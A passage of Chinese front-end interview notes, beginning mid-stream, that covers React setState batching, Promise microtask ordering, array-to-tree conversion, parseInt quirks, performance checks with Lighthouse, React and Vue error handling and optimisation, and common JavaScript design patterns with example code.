
如需要实时获取结果,在回调函数中获取 setState({count:this.state.count + 1},()=>console.log(this.state.count)})

// setState原理模拟
let isBatchingUpdate = true;

let queue = [];
let state = {number:0};
function setState(newSate){
  //state={...state,...newSate}
  // setState异步更新
  if(isBatchingUpdate){
    queue.push(newSate);
  }else{
    // setState同步更新
    state={...state,...newSate}
  }   
}

// react事件是合成事件,在合成事件中isBatchingUpdate需要设置为true
// 模拟react中事件点击
function handleClick(){
  isBatchingUpdate=true; // 批量更新标志

  /**我们自己逻辑开始 */
  setState({number:state.number+1});
  setState({number:state.number+1});
  console.log(state); // 0
  setState({number:state.number+1});
  console.log(state); // 0
  /**我们自己逻辑结束 */

  state= queue.reduce((newState,action)=>{
    return {...newState,...action}
  },state); 
}
handleClick();
console.log(state); // 1
// setState笔试题考察 下面这道题输出什么
class Example extends React.Component {
  constructor() {
  super()
  this.state = {
    val: 0
  }
}
// componentDidMount中isBatchingUpdate=true setState批量更新
componentDidMount() {
  // setState传入对象会合并,后面覆盖前面的Object.assign({})
  this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理 
  console.log(this.state.val)
  // 第 1 次 log
  this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理
  console.log(this.state.val)
  // 第 2 次 log
  setTimeout(() => {
    // 到这里this.state.val结果等于1了
    // 在原生事件和setTimeout中(isBatchingUpdate=false),setState同步更新,可以马上获取更新后的值
    this.setState({ val: this.state.val + 1 }) // 同步更新
    console.log(this.state.val)
    // 第 3 次 log
    this.setState({ val: this.state.val + 1 }) // 同步更新
    console.log(this.state.val)
    // 第 4 次 log
    }, 0)
  }
  render() {
    return null
  }
}

// 答案:0, 0, 2, 3

React 18之前,setStateReact的合成事件中是合并更新的,在setTimeout的原生事件中是同步按序更新的。例如

handleClick = () => {
  this.setState({ age: this.state.age + 1 });
  console.log(this.state.age); // 0
  this.setState({ age: this.state.age + 1 });
  console.log(this.state.age); // 0
  this.setState({ age: this.state.age + 1 });
  console.log(this.state.age); // 0
  setTimeout(() => {
    this.setState({ age: this.state.age + 1 });
    console.log(this.state.age); // 2
    this.setState({ age: this.state.age + 1 });
    console.log(this.state.age); // 3
  });
};

而在React 18中,不论是在合成事件中,还是在宏任务中,都是会合并更新

function handleClick() {
  setState({ age: state.age + 1 }, onePriority);
  console.log(state.age);// 0
  setState({ age: state.age + 1 }, onePriority);
  console.log(state.age); // 0
  setTimeout(() => {
    setState({ age: state.age + 1 }, towPriority);
    console.log(state.age); // 1
    setState({ age: state.age + 1 }, towPriority);
    console.log(state.age); // 1
  });
}
// 拓展:setState传入函数不会合并
class Example extends React.Component {
  constructor() {
  super()
  this.state = {
    val: 0
  }
}
componentDidMount() {
  this.setState((prevState,props)=>{
    return {val: prevState.val + 1}
  })
  console.log(this.state.val) // 0
  // 第 1 次 log
  this.setState((prevState,props)=>{ // 传入函数,不会合并覆盖前面的
    return {val: prevState.val + 1}
  })
  console.log(this.state.val) // 0
  // 第 2 次 log
  setTimeout(() => {
    // setTimeout中setState同步执行
    // 到这里this.state.val结果等于2了
    this.setState({ val: this.state.val + 1 }) 
    console.log(this.state.val) // 3
    // 第 3 次 log
    this.setState({ val: this.state.val + 1 })
    console.log(this.state.val) // 4
    // 第 4 次 log
    }, 0)
  }
  render() {
    return null
  }
}
// 答案:0 0 3 4 
// react hooks中打印

function useStateDemo() {
  const [value, setValue] = useState(100)

  function clickHandler() {
    // 1.传入常量,state会合并
    setValue(value + 1)
    setValue(value + 1)
    console.log(1, value) // 100
    // 2.传入函数,state不会合并
    setValue(value=>value + 1)
    setValue(value=>value + 1)
    console.log(2, value) // 100

    // 3.setTimeout中,React18也开始合并state(之前版本会同步更新、不合并)
    setTimeout(()=>{
      setValue(value + 1)
      setValue(value + 1)
      console.log(3, value) // 100
      setValue(value + 1)
    })

    // 4.同理 setTimeout中,传入函数不合并
    setTimeout(()=>{
      setValue(value => value + 1)
      setValue(value => value + 1)
      console.log(4, value) // 100
    })
  }
  return (
    <button onClick={clickHandler}>点击 {value}</button>
  )
}

连环问:setState是宏任务还是微任务

  • setState本质是同步的
    • setState是同步的,不过让react做成异步更新的样子而已
      • 如果setState是微任务,就不应该在promise.then微任务之前打印出来(promise then微任务先注册)
    • 因为要考虑性能,多次state修改,只进行一次DOM渲染
    • 日常所说的“异步”是不严谨的,但沟通成本低
  • 总结
    • setState是同步执行,state都是同步更新(只是我们日常把setState当异步来处理)
    • 在微任务promise.then之前,state已经计算完了
    • 同步,不是微任务或宏任务
import React from 'react'

class Example extends React.Component {
  constructor() {
    super()
    this.state = {
      val: 0
    }
  }

  clickHandler = () => {
    // react事件中 setState异步执行
    console.log('--- start ---')

    Promise.resolve().then(() => console.log('promise then') /* callback */)

    // “异步”
    this.setState(
      { val: this.state.val + 1 },
      () => { console.log('state callback...', this.state) } // callback
    )

    console.log('--- end ---')

    // 结果: 
    // start 
    // end
    // state callback {val:1} 
    // promise then 

    // 疑问?
    // promise then微任务先注册的,按理应该先打印promise then再到state callback
    // 因为:setState本质是同步的,不过让react做成异步更新的样子而已
    // 因为要考虑性能,多次state修改,只进行一次DOM渲染
  }

  componentDidMount() {
    setTimeout(() => {
      // setTimeout中setState是同步更新
      console.log('--- start ---')

      Promise.resolve().then(() => console.log('promise then'))

      this.setState(
        { val: this.state.val + 1 }
      )
      console.log('state...', this.state)
  
      console.log('--- end ---')
    })

    // 结果: 
    // start 
    // state {val:1} 
    // end
    // promise then 
  }

  render() {
    return <p id="p1" onClick={this.clickHandler}>
      setState demo: {this.state.val}
    </p>
  }
}

# 第134题 一道让人失眠的promise then执行顺序问题

Promise.resolve().then(()=>{
  console.log(0)
  return Promise.resolve(4)
}).then((res)=>{
  console.log(res)
}).then(()=>{
  console.log(5.5)
})

Promise.resolve().then(()=>{
  console.log(1)
}).then(()=>{
  console.log(2)
}).then(()=>{
  console.log(3)
}).then(()=>{
  console.log(5)
}).then(()=>{
  console.log(6)
})
答案
// 答案

0 
1 
2 
3 
4 
5 
5.5
6

分析

  • 回顾JS知识
    • 单线程,异步
    • 事件循环Event Loop
    • 宏任务和微任务
  • then交替执行
    • 如果有多个fulfilled的实例,通知执行then链式调用
    • then交替执行
    • 这是编译器优化,防止一个promise占据太久时间
    // fulfilled状态
    Promise.resolve().then(() => {
      console.log(10)
    }).then(() => {
      console.log(20)
    }).then(() => {
      console.log(30)
    }).then(() => {
      console.log(40)
    }).then(() =>{
      console.log(50)
    })
    // fulfilled状态
    Promise.resolve().then(() => {
      console.log(100)
    }).then(() => {
      console.log(200)
    }).then(() => {
      console.log(300)
    }).then(() => {
      console.log(400)
    }).then(() =>{
      console.log(500)
    })
    // 交替执行结果是:10 100 20 200 30 300 40 400 50 500
    
  • then中返回新的promise实例
    • 相当多出一个promise实例
    • 也会遵循交替执行
    • 但和直接声明一个promise实例,结果有些差异
    • then中返回新的promise实例,会出现慢两拍的效果
      • 第一拍:promise需要由pending变为fulfilled
      • 第二拍:then函数挂载到微任务队列
    Promise.resolve().then(()=>{
      console.log(0)
      // 返回新的promise实例,慢两拍,所以先下面的2、3才到这里的4
      return Promise.resolve(4) // 第一拍:promise需要由pending变为fulfilled
    }).then((res)=>{ // 第二拍:把then后面的任务放到[微任务队列]
      console.log(res)
    }).then(()=>{
      console.log(5.5)
    })
    // 模拟慢两拍的情况
    /**
     * Promise.resolve().then(()=>{
        // 第一拍:改变状态
        const p = Promise.resolve(4)
        Promise.resolve().then(()=>{
          // 第二拍:把then函数挂载上
          p.then(res=>console.log(res))
        })
      })
     */
    
    Promise.resolve().then(()=>{
      console.log(1)
    }).then(()=>{
      console.log(2)
    }).then(()=>{
      console.log(3)
    }).then(()=>{
      console.log(5) // 执行5 交替执行-在返回第一个Promise.resolve()看有没有then,执行5.5 最后在交替执行下面的6
    }).then(()=>{
      console.log(6)
    })
    // 结果 0 1 2 3 4 5 5.5 6
    

# 第133题 把一个数组转换为树

const arr = [
  {id:1, name: '部门A', parentId: 0},
  {id:2, name: '部门B', parentId: 1},
  {id:3, name: '部门C', parentId: 1},
  {id:4, name: '部门D', parentId: 2},
  {id:5, name: '部门E', parentId: 2},
  {id:6, name: '部门F', parentId: 3},
]

树节点

interface ITreeNode {
  id:number
  name: string
  children?: ITreeNode[] // 子节点
}

思路

  • 遍历数组
  • 每个元素生成TreeNode
  • 找到parentNode,并加入它的children
    • 如何找到parentNode
      • 遍历数组去查找太慢
      • 可用一个Map来维护关系,便于查找
/**
 * @description array to tree
 */

// 数据结构
interface ITreeNode {
  id: number
  name: string
  children?: ITreeNode[]
}

function arr2tree(arr) {
  // 用于 id 和 treeNode 的映射
  const idToTreeNode = new Map()

  let root = null // 返回一棵树 tree rootNode

  arr.forEach(item => {
    const { id, name, parentId } = item

    // 定义 tree node 并加入 map
    const treeNode = { id, name }
    idToTreeNode.set(id, treeNode)

    // 找到 parentNode 并加入到它的 children
    const parentNode = idToTreeNode.get(parentId)
    if (parentNode) {
      if (parentNode.children == null){
        parentNode.children = []
      }
      parentNode.children.push(treeNode) // 把treeNode加入到parentNode下
    }

    // 找到根节点
    if (parentId === 0) {
      root = treeNode
    }
  })

  return root
}

const arr = [
  { id: 1, name: '部门A', parentId: 0 }, // 0 代表顶级节点,无父节点
  { id: 2, name: '部门B', parentId: 1 },
  { id: 3, name: '部门C', parentId: 1 },
  { id: 4, name: '部门D', parentId: 2 },
  { id: 5, name: '部门E', parentId: 2 },
  { id: 6, name: '部门F', parentId: 3 },
]
const tree = arr2tree(arr)
console.info(tree)

连环问:把一个树转换为数组

  • 思路
    • 遍历树节点(广度优先:一层层去遍历,结果是ABCDEF)而深度优先是(ABDECF
    • 将树节点转为Array Itempush到数组中
    • 根据父子关系,找到Array ItemparentId
      • 如何找到parentId
        • 遍历树查找太慢
        • 可用一个Map来维护关系,便于查找
/**
 * @description tree to arr
 */

// 数据结构
interface ITreeNode {
  id: number
  name: string
  children?: ITreeNode[]
}

function tree2arr(root) {
  // Map
  const nodeToParent = new Map() // 映射当前节点和父节点关系

  const arr = []

  // 广度优先遍历,queue
  const queue = []
  queue.unshift(root) // 根节点 入队

  while (queue.length > 0) {
    const curNode = queue.pop() // 出队
    if (curNode == null) break

    const { id, name, children = [] } = curNode

    // 创建数组 item 并 push
    const parentNode = nodeToParent.get(curNode)
    const parentId = parentNode?.id || 0
    const item = { id, name, parentId }
    arr.push(item)

    // 子节点入队
    children.forEach(child => {
      // 映射 parent
      nodeToParent.set(child, curNode)
      // 入队
      queue.unshift(child)
    })
  }

  return arr
}

const obj = {
  id: 1,
  name: '部门A',
  children: [
    {
      id: 2,
      name: '部门B',
      children: [
        { id: 4, name: '部门D' },
        { id: 5, name: '部门E' }
      ]
    },
    {
      id: 3,
      name: '部门C',
      children: [
        { id: 6, name: '部门F' }
      ]
    }
  ]
}
const arr = tree2arr(obj)
console.info(arr)

# 第132题 ["1", "2", "3"].map(parseInt) 答案是多少

parseInt(str, radix)

  • 解析一个字符串,并返回10进制整数
  • 第一个参数str,即要解析的字符串
  • 第二个参数radix,基数(进制),范围2-36 ,以radix进制的规则去解析str字符串。不合法导致解析失败
  • 如果没有传radix
    • str0开头,则按照16进制处理
    • str0开头,则按照8进制处理(但是ES5取消了,可能还有一些老的浏览器使用)会按照10进制处理
    • 其他情况按照10进制处理
  • eslint会建议parseInt写第二个参数(是因为0开始的那个8进制写法不确定(如078),会按照10进制处理)
答案
// 拆解
const arr = ["1", "2", "3"]
const res = arr.map((item,index,array)=>{
  // item: '1', index: 0
  // item: '2', index: 1
  // item: '3', index: 2
  return parseInt(item, index)
  // parseInt('1', 0) // 0相当没有传,按照10进制处理返回1 等价于parseInt('1')
  // parseInt('2', 1) // NaN 1不符合redix 2-36 的一个范围
  // parseInt('3', 2) // 2进制没有3 返回NaN
})

// 答案 [1, NaN, NaN] 

# 第131题 工作中遇到过哪些项目难点,是如何解决的

遇到问题要注意积累

  • 每个人都会遇到问题,总有几个问题让你头疼
  • 日常要注意积累,解决了问题要自己写文章复盘

如果之前没有积累

  • 回顾一下半年之内遇到的难题
  • 思考当时解决方案,以及解决之后的效果
  • 写一篇文章记录一下,答案就有了

答案模板

  • 描述问题:背景 + 现象 + 造成的影响
  • 问题如何被解决:分析 + 解决
  • 自己的成长:学到了什么 + 以后如何避免

一个示例

  • 问题:编辑器只能回显JSON格式的数据,而不支持老版本的HTML格式
  • 解决:将老版本的HTML反解析成JSON格式即可解决
  • 成长:要考虑完整的输入输出 + 考虑旧版本用户 + 参考其他产品

# 第130题 如果一个H5很慢,如何排查性能问题

  • 通过前端性能指标分析
  • 通过Performancelighthouse分析
  • 持续跟进,持续优化

前端性能指标

  • FP(First Paint):首次绘制,即首次绘制任何内容到屏幕上
  • FCP(First Content Paint):首次内容绘制,即首次绘制非空白内容到屏幕上
  • FMP(First Meaning Paint):首次有意义绘制,即首次绘制有意义的内容到屏幕上-已弃用,改用LCP
    • FMP业务指标,没有统一标准
  • LCP(Largest Contentful Paint):最大内容绘制,即最大的内容绘制到屏幕上
  • TTI(Time to Interactive):可交互时间,即页面加载完成,可以进行交互的时间
  • TBT(Total Blocking Time):总阻塞时间,即页面加载过程中,主线程被占用的时间
  • CLS(Cumulative Layout Shift):累计布局偏移,即页面加载过程中,元素位置发生变化的程度
  • FCPLCPTTITBTCLS都是web-vitals库提供的指标
  • DCL(DOM Content Loaded)DOM加载完成,即页面DOM结构加载完成的时间
  • L(Load):页面完全加载完成的时间

通过Chrome Performance分析

打开浏览器无痕模式,点击Performance > ScreenShot

如果加载很快就会很快就到达FP,在分析FCP、LCP、DCL、L看渲染时间

国内访问GitHub可以看到加载到FP非常慢,但是渲染很快

network > show overview 查看每个资源的加载时间,或者从waterfall查看

使用lighthouse分析

# 通过node使用
npm i lighthouse -g

# 需要稍等一会就分析完毕输出报告
lighthouse https://baidu.com --view --preset=desktop

通过工具就可以识别到问题

  • 加载慢?
    • 优化服务器硬件配置,使用CDN
    • 路由懒加载,大组件异步加载--减少主包体积
    • 优化HTTP缓存策略
  • 渲染慢
    • 优化服务端接口(如Ajax获取数据慢)
    • 继续分析,优化前端组件内部逻辑(参考vuereact优化)
    • 服务端渲染SSR

性能优化是一个循序渐进的过程,不像bug一次解决。持续跟进统计结果,再逐步分析性能瓶颈,持续优化。可使用第三方统计服务,如百度统计

# 第129题 如何统一监听React组件报错

  • ErrorBoundary组件
    • react16版本之后,增加了ErrorBoundary组件
    • 监听所有下级组件报错,可降级展示UI
    • 只监听组件渲染时报错,不监听DOM事件错误、异步错误
      • ErrorBoundary没有办法监听到点击按钮时候的在click的时候报错
      • 只能监听组件从一开始渲染到渲染成功这段时间报错,渲染成功后在怎么操作产生的错误就不管了
      • 可用try catch或者window.onerror(二选一)
    • 只在production环境生效(需要打包之后查看效果),dev会直接抛出错误
  • 总结
    • ErrorBoundary监听组件渲染报错
    • 事件报错使用try catchwindow.onerror
    • 异步报错使用window.onerror
// ErrorBoundary.js

import React from 'react'

class ErrorBoundary extends React.Component {
  constructor(props) {
    super(props)
    this.state = {
      error: null // 存储当前的报错信息
    }
  }
  static getDerivedStateFromError(error) {
    // 更新 state 使下一次渲染能够显示降级后的 UI
    console.info('getDerivedStateFromError...', error)
    return { error } // return的信息会等于this.state的信息
  }
  componentDidCatch(error, errorInfo) {
    // 统计上报错误信息
    console.info('componentDidCatch...', error, errorInfo)
  }
  render() {
    if (this.state.error) {
      // 提示错误
      return <h1>报错了</h1>
    }

    // 没有错误,就渲染子组件
    return this.props.children
  }
}
// index.js 中使用
import React from 'react';
import ReactDOM from 'react-dom';
import App from './App';
import ErrorBoundary from './ErrorBoundary'

ReactDOM.render(
  <React.StrictMode>
    <ErrorBoundary>
      <App />
    </ErrorBoundary>
  </React.StrictMode>,
  document.getElementById('root')
);

# 第128题 如何统一监听Vue组件报错

  • window.onerror
    • 全局监听所有JS错误,包括异步错误
    • 但是它是JS级别的,识别不了Vue组件信息,Vue内部的错误还是用Vue来监听
    • 捕捉一些Vue监听不到的错误
  • errorCaptured生命周期
    • 监听所有下级组件的错误
    • 返回false会阻止向上传播到window.onerror
  • errorHandler配置
    • Vue全局错误监听,所有组件错误都会汇总到这里
    • errorCaptured返回false,不会传播到这里
    • window.onerrorerrorHandler互斥,window.onerror不会在被触发,这里都是全局错误监听了
  • 异步错误
    • 异步回调里的错误,errorHandler监听不到
    • 需要使用window.onerror
  • 总结
    • 实际工作中,三者结合使用
    • promisepromise没有被catch的报错,使用onunhandledrejection监听)和setTimeout异步,vue里面监听不了
    window.addEventListener("unhandledrejection", event => {
      // 捕获 Promise 没有 catch 的错误
      console.info('unhandledrejection----', event)
    })
    Promise.reject('错误信息')
    // .catch(e => console.info(e)) // catch 住了,就不会被 unhandledrejection 捕获
    
    • errorCaptured监听一些重要的、有风险组件的错误
    • window.onerrorerrorCaptured候补全局监听
// main.js
const app = createApp(App)

// 所有组件错误都会汇总到这里
// window.onerror和errorHandler互斥,window.onerror不会在被触发,这里都是全局错误监听了
// 阻止向window.onerror传播
app.config.errorHandler = (error, vm, info) => {
  console.info('errorHandler----', error, vm, info)
}
// 在app.vue最上层中监控全局组件
export default {
  mounted() {
    /**
     * msg:错误的信息
     * source:哪个文件
     * line:行
     * column:列
     * error:错误的对象
     */
    // 可以监听一切js的报错, try...catch 捕获的 error ,无法被 window.onerror 监听到
    window.onerror = function (msg, source, line, column, error) {
      console.info('window.onerror----', msg, source, line, column, error)
    }
    // 用addEventListener跟window.onerror效果一样,参数不一样
    // window.addEventListener('error', event => {
    //   console.info('window error', event)
    // })
  },
  errorCaptured: (errInfo, vm, info) => {
    console.info('errorCaptured----', errInfo, vm, info)
    // 返回false会阻止向上传播到window.onerror
    // 返回false会阻止传播到errorHandler
    // return false
  },
}
// ErrorDemo.vue
export default {
  name: 'ErrorDemo',
  data() {
    return {
      num: 100
    }
  },
  methods: {
    clickHandler() {
      try {
        this.num() // 报错
      } catch (ex) {
        console.error('catch.....', ex)
        // try...catch 捕获的 error ,无法被 window.onerror 监听到
      }

      this.num() // 报错
    }
  },
  mounted() {
    // 被errorCaptured捕获
    // throw new Error('mounted 报错')

    // 异步报错,errorHandler、errorCaptured监听不到,vue对异步报错监听不了,需要使用window.onerror来做
    // setTimeout(() => {
    //     throw new Error('setTimeout 报错')
    // }, 1000)
  },
}

# 第127题 在实际工作中,你对React做过哪些优化

  • 修改CSS模拟v-show
    // 原始写法
    {!flag && <MyComonent style={{display:'none'}} />}
    {flag && <MyComonent />}
    
    // 模拟v-show
    {<MyComonent style={{display:flag ? 'block' : 'none'}} />}
    
  • 循环使用key
    • key不要用index
  • 使用Flagment或<></>空标签包裹减少多个层级组件的嵌套
  • jsx中不要定义函数JSX会被频繁执行的
    // bad 
    // react中的jsx被频繁执行(state更改)应该避免函数被多次新建
    <button onClick={()=>{}}>点击</button>
    // goods
    function useButton() {
      const handleClick = ()=>{}
      return <button onClick={handleClick}>点击</button>
    }
    
  • 使用shouldComponentUpdate
    • 判断组件是否需要更新
    • 或者使用React.PureComponent比较props第一层属性
    • 函数组件使用React.memo(comp, fn)包裹 function fn(prevProps,nextProps) {// 自己实现对比,像shouldComponentUpdate}
  • Hooks缓存数据和函数
    • useCallback: 缓存回调函数,避免传入的回调每次都是新的函数实例而导致依赖组件重新渲染,具有性能优化的效果
    • useMemo: 用于缓存传入的 props,避免依赖的组件每次都重新渲染
  • 使用异步组件
    import React,{lazy,Suspense} from 'react'
    const OtherComp = lazy(/**webpackChunkName:'OtherComp'**/ ()=>import('./otherComp'))
    
    function MyComp(){
      return (
        <Suspense fallback={<div>loading...</div>}>
          <OtherComp />
        </Suspense>
      )
    }
    
  • 路由懒加载
    import React,{lazy,Suspense} from 'react'
    import {BrowserRouter as Router,Route, Switch} from 'react-router-dom'
    
    const Home = lazy(/**webpackChunkName:'h=Home'**/()=>import('./Home'))
    const List = lazy(/**webpackChunkName:'List'**/()=>import('./List'))
    
    const App = ()=>(
      <Router>
        <Suspense fallback={<div>loading...</div>}>
          <Switch>
            <Route exact path='/' component={Home} />
            <Route exact path='/list' component={List} />
          </Switch>
        </Suspense>
      </Router>
    )
    
  • 使用SSRNext.js

连环问:你在使用React时遇到过哪些坑

  • 自定义组件的名称首字母要大写

    // 原生html组件
    <input />
    
    // 自定义组件
    <Input />
    
  • JS关键字的冲突

    // for改成htmlFor,class改成className
    <label htmlFor="input-name" className="label">
      用户名 <input id="username" />
    </label>
    
  • JSX数据类型

    // correct
    <Demo flag={true} />
    // error
    <Demo flag="true" />
    
  • setState不会马上获取最新的结果

    • 如需要实时获取结果,在回调函数中获取 setState({count:this.state.count + 1},()=>console.log(this.state.count)})
    • setState在合成事件和生命周期钩子中,是异步更新的
    • 原生事件setTimeout中,setState是同步的,可以马上获取更新后的值;
    • 原因: 原生事件是浏览器本身的实现,与事务流无关,自然是同步;而setTimeout是放置于定时器线程中延后执行,此时事务流已结束,因此也是同步;
    // setState原理模拟
    let isBatchingUpdate = true;
    
    let queue = [];
    let state = {number:0};
    function setState(newSate){
      //state={...state,...newSate}
      // setState异步更新
      if(isBatchingUpdate){
        queue.push(newSate);
      }else{
        // setState同步更新
        state={...state,...newSate}
      }   
    }
    
    // react事件是合成事件,在合成事件中isBatchingUpdate需要设置为true
    // 模拟react中事件点击
    function handleClick(){
      isBatchingUpdate=true; // 批量更新标志
    
      /**我们自己逻辑开始 */
      setState({number:state.number+1});
      setState({number:state.number+1});
      console.log(state); // 0
      setState({number:state.number+1});
      console.log(state); // 0
      /**我们自己逻辑结束 */
    
      state= queue.reduce((newState,action)=>{
        return {...newState,...action}
      },state); 
    }
    handleClick();
    console.log(state); // 1
    
    // setState笔试题考察 下面这道题输出什么
    class Example extends React.Component {
      constructor() {
      super()
      this.state = {
        val: 0
      }
    }
    // componentDidMount中isBatchingUpdate=true setState批量更新
    componentDidMount() {
      this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理
      console.log(this.state.val)
      // 第 1 次 log
      this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理
      console.log(this.state.val)
      // 第 2 次 log
      setTimeout(() => {
        // 在原生事件和setTimeout中(isBatchingUpdate=false),setState同步更新,可以马上获取更新后的值
        this.setState({ val: this.state.val + 1 }) // 同步更新
        console.log(this.state.val)
        // 第 3 次 log
        this.setState({ val: this.state.val + 1 }) // 同步更新
        console.log(this.state.val)
        // 第 4 次 log
        }, 0)
      }
      render() {
        return null
      }
    }
    
    // 答案:0, 0, 2, 3
    

# 第126题 在实际工作中,你对Vue做过哪些优化

  • v-if和v-show
    • v-if彻底销毁组件
    • v-show使用dispaly切换none
    • 实际工作中大部分情况下使用v-if就好,不要过渡优化
  • v-for使用key
    • key不要使用index
  • 使用computed缓存
  • keep-alive缓存组件
    • 频繁切换的组件 tabs
    • 不要乱用,缓存会占用更多的内存
  • 异步组件
    • 针对体积较大的组件,如编辑器、复杂表格、复杂表单
    • 拆包,需要时异步加载,不需要时不加载
    • 减少主包体积,首页会加载更快
    • 演示
    <!-- index.vue -->
    <template>
      <Child></Child>
    </template>
    <script>
    import { defineAsyncComponent } from 'vue'
    export default {
      name: 'AsyncComponent',
      components: {
        // child体积大 异步加载才有意义
        // defineAsyncComponent vue3的写法
        Child: defineAsyncComponent(() => import(/* webpackChunkName: "async-child" */ './Child.vue'))
      }
    }
    </>
    
    <!-- child.vue -->
    <template>
      <p>async component child</p>
    </template>
    <script>
    export default {
      name: 'Child',
    }
    </script>
    
  • 路由懒加载
    • 项目比较大,拆分路由,保证首页先加载
    • 演示
    const routes = [
      {
        path: '/',
        name: 'Home',
        component: Home // 直接加载
      },
      {
        path: '/about',
        name: 'About',
        // route level code-splitting
        // this generates a separate chunk (about.[hash].js) for this route
        // which is lazy-loaded when the route is visited.
        // 路由懒加载
        component: () => import(/* webpackChunkName: "about" */ '../views/About.vue')
      }
    ]
    
  • 服务端SSR
    • 可使用Nuxt.js
    • 按需优化,使用SSR成本比较高
  • 实际工作中你遇到积累的业务的优化经验也可以说

连环问:你在使用Vue过程中遇到过哪些坑

  • 内存泄露
    • 全局变量、全局事件、全局定时器没有销毁
    • 自定义事件没有销毁
  • Vue2响应式的缺陷(vue3不在有)
    • data后续新增属性用Vue.set
    • data删除属性用Vue.delete
    • Vue2并不支持数组下标的响应式。也就是说Vue2检测不到通过下标更改数组的值 arr[index] = value
  • 路由切换时scroll会重新回到顶部
    • 这是SPA应用的通病,不仅仅是vue
    • 如,列表页滚动到第二屏,点击详情页,再返回列表页,此时列表页组件会重新渲染回到了第一页
    • 解决方案
      • 在列表页缓存翻页过的数据和scrollTop的值
      • 当再次返回列表页时,渲染列表组件,执行scrollTo(xx)
      • 终极方案:MPA(多页面) + App WebView(可以打开多个页面不会销毁之前的)
  • 日常遇到问题记录总结,下次面试就能用到

# 第125题 前端常用的设计模式和使用场景

  • 工厂模式
    • 用一个工厂函数来创建实例,使用的时候隐藏new,可在工厂函数中使用newfunction factory(a,b,c) {return new Foo()}
    • jQuery$函数:$等于是在内部使用了new JQuery实例(用工厂函数$包裹了一下),可以直接使用$(div)
    • reactcreateElement
  • 单例模式
    • 全局唯一的实例(无法生成第二个)
    • Vuex Reduxstore
    • 如全局唯一的dialogmodal
    • 演示
      // 通过class实现单例构造器
      class Singleton {
        private static instance
        private contructor() {}
        public static getInstance() {
          if(!this.instance) {
            this.instance = new Singleton()
          }
          return this.instance
        },
        fn1() {}
        fn2() {}
      }
      
      // 通过闭包实现单例构造器
      const Singleton = (function () {
        // 隐藏Class的构造函数,避免多次实例化
        function FooService() {}
      
        // 未初始化的单例对象
        let fooService;
      
        return {
          // 创建/获取单例对象的函数
          // 通过暴露一个 getInstance() 方法来创建/获取唯一实例
          getInstance: function () {
            if (!fooService) {
              fooService = new FooService();
            }
            return fooService;
          }
        }
      })();
      // 使用
      const s1 = Singleton.getInstance()
      const s2 = Singleton.getInstance()
      // s1 === s2 // 都是同一个实例
      
  • 代理模式
    • 使用者不能直接访问对象,而是访问一个代理层
    • 在代理层可以监听get set做很多事
    • ES6 Proxy实现Vue3响应式
    var obj = new Proxy({},{
      get:function(target,key,receiver) {
        return Refect.get(target,key,receiver)
      },
      set:function(target,key,value,receiver) {
        return Refect.set(target,key,value,receiver)
      }
    })
    
  • 观察者模式
    • 观察者模式(基于发布订阅模式)有观察者,也有被观察者
    • 观察者需要放到被观察者中,被观察者的状态变化需要通知观察者 我变化了,内部也是基于发布订阅模式,收集观察者,状态变化后要主动通知观察者
    class Subject { // 被观察者 学生
      constructor(name) {
        this.state = 'happy'
        this.observers = []; // 存储所有的观察者
      }
      // 收集所有的观察者
      attach(o){ // Subject. prototype. attch
        this.observers.push(o)
      }
      // 更新被观察者 状态的方法
      setState(newState) {
        this.state = newState; // 更新状态
        // this 指被观察者 学生
        this.observers.forEach(o => o.update(this)) // 通知观察者 更新它们的状态
      }
    }
    
    class Observer{ // 观察者 父母和老师
      constructor(name) {
        this.name = name
      }
      update(student) {
        console.log('当前' + this.name + '被通知了', '当前学生的状态是' + student.state)
      }
    }
    
    let student = new Subject('学生'); 
    let parent = new Observer('父母'); 
    let teacher = new Observer('老师'); 
    
    // 被观察者存储观察者的前提,需要先接纳观察者
    student.attach(parent); 
    student.attach(teacher); 
    student.setState('被欺负了');
    
  • 发布订阅模式
    • 发布订阅者模式,一种对象间一对多的依赖关系,但一个对象的状态发生改变时,所依赖它的对象都将得到状态改变的通知。
    • 主要的作用(优点):
      • 广泛应用于异步编程中(替代了传递回调函数)
      • 对象之间松散耦合的编写代码
    • 缺点:
      • 创建订阅者本身要消耗一定的时间和内存
      • 多个发布者和订阅者嵌套一起的时候,程序难以跟踪维护
    • 发布订阅者模式和观察者模式的区别?
      • 发布/订阅模式是观察者模式的一种变形,两者区别在于,发布/订阅模式在观察者模式的基础上,在目标和观察者之间增加一个调度中心。
      • 观察者模式是由具体目标调度,比如当事件触发,Subject 就会去调用观察者的方法,所以观察者模式的订阅者与发布者之间是存在依赖的(互相认识的)。
      • 发布/订阅模式由统一调度中心调用,因此发布者和订阅者不需要知道对方的存在(publishersubscriber是不认识的,中间有个Event Channel隔起来了)
      • 总结一下:
        • 观察者模式:SubjectObserver直接绑定,没有中间媒介。如addEventListener直接绑定事件
        • 发布订阅模式:publishersubscriber互相不认识,需要有中间媒介Event Channel。如EventBus自定义事件
    • 实现的思路:
      • 创建一个对象(缓存列表)
      • on方法用来把回调函数fn都加到缓存列表中
      • emit 根据key值去执行对应缓存列表中的函数
      • off方法可以根据key值取消订阅
      class EventEmiter {
        constructor() {
          // 事件对象,存放订阅的名字和事件
          this._events = {}
        }
        // 订阅事件的方法
        on(eventName,callback) {
          if(!this._events) {
            this._events = {}
          }
          // 合并之前订阅的cb
          this._events[eventName] = [...(this._events[eventName] || []),callback]
        }
        // 触发事件的方法
        emit(eventName, ...args) {
          if(!this._events[eventName]) {
            return
          }
          // 遍历执行所有订阅的事件
          this._events[eventName].forEach(fn=>fn(...args))
        }
        off(eventName,cb) {
          if(!this._events[eventName]) {
            return
          }
          // 删除订阅的事件
          this._events[eventName] = this._events[eventName].filter(fn=>fn != cb && fn.l != cb)
        }
        // 绑定一次 触发后将绑定的移除掉 再次触发掉
        once(eventName,callback) {
          const one = (...args)=>{
            // 等callback执行完毕在删除
            callback(args)
            this.off(eventName,one)
          }
          one.l = callback // 自定义属性
          this.on(eventName,one)
        }
      }
      
      // 测试用例
      let event = new EventEmiter()
      
      let login1 = function(...args) {
        console.log('login success1', args)
      }
      let login2 = function(...args) {
        console.log('login success2', args)
      }
      // event.on('login',login1)
      event.once('login',login2)
      event.off('login',login1) // 解除订阅
      event.emit('login', 1,2,3,4,5)
      event.emit('login', 6,7,8,9)
      event.emit('login', 10,11,12)  
      
  • 装饰器模式
